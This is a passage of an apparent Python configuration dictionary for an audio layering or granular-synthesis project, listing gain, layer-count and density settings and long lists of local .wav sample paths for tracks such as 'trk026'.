'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_unmodulated_graincloud-008.wav',
],
},
},
# trk026 main
'trk026': {
'raw': {
'gain_max': 3,
'gain_min': -6,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0004.213084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0004.296893.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0005.970952.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0007.144444.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0009.772494.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0010.635964.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0012.598980.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0013.742404.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0013.974853.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0014.005374.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0016.714830.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0016.737370.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0017.325850.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0019.031338.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0020.543061.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0021.731633.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0024.616168.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0024.764422.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0024.777166.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0025.682608.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0025.700703.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0025.985351.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0026.112744.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0026.230771.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0026.797415.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0027.679660.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0027.849615.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0027.912290.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0028.499206.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0029.945692.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0030.831633.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0036.926871.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0039.006054.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0039.266712.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0040.868639.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0041.168322.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0042.559206.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0044.280159.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0045.870181.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0045.927891.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0046.392653.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0047.321451.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0049.031020.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0050.336757.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0052.185102.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0052.924422.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0054.830045.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0057.082132.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0059.561043.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0060.856576.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0063.061066.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0063.982744.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0065.587687.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0066.074376.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0066.516100.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0066.765397.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0067.305941.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0068.004966.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0069.084331.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0069.331882.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0069.560000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0069.649456.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0070.136440.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0070.863764.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0071.450499.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0071.817370.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0072.696145.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0074.885896.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0075.727256.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0076.920000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0077.449297.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0077.517528.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0078.224399.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0078.604671.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0078.645351.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0079.449683.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0080.725828.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0082.346236.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0084.086032.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0084.133265.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0085.669138.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0087.670952.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0089.338571.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0089.723741.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0090.269456.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0090.810930.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0091.452517.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0091.756508.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0091.790204.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0092.262404.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0092.292154.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0093.729002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0094.776984.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0094.798118.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0095.743810.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0095.887868.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0096.747846.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0096.953311.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0097.899524.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0098.756757.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0099.784603.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0099.958254.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0101.029048.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0101.171429.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0102.106145.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0102.150295.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0103.673696.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0103.691451.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0104.090998.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0106.070023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0107.571066.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0108.781905.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0109.915011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0110.051519.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0111.643220.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0112.229615.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0112.619864.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0112.830431.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0113.257778.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0114.292109.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0114.540000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0115.502902.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0115.770522.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0118.600317.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0120.391293.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0121.579773.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0122.034853.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0123.544195.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0125.050975.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0125.070227.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0125.486712.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0125.499252.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0126.196304.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0126.562608.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0129.116825.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0130.414943.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0130.852336.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0131.675918.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0131.767732.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0132.546621.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0132.875011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0139.600771.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0149.558844.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0149.875034.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0150.870136.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0151.779342.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0152.065306.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0152.220159.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/trk026-1-sco-20200211-WA0003_0152.285374.wav',
],
},
# trk026 side / proc
'proc': {
'gain_max': -6,
'gain_min': -30,
'numlayer': 10,
'density': 0.66,
'files': [
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-013.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-018.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-019.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-020.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-021.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-022.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-024.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-025.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-026.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-027.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-028.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-029.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-030.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-031.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-032.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-033.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-034.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-035.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-036.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-037.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-038.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-039.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-040.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-041.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-042.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-043.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-044.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-045.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-046.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-047.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-048.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-049.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-050.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-051.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-053.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-054.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-055.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-056.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-057.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-058.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-059.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-060.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-061.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-062.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-063.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-064.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-065.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-066.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-067.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-068.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-069.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-070.wav',
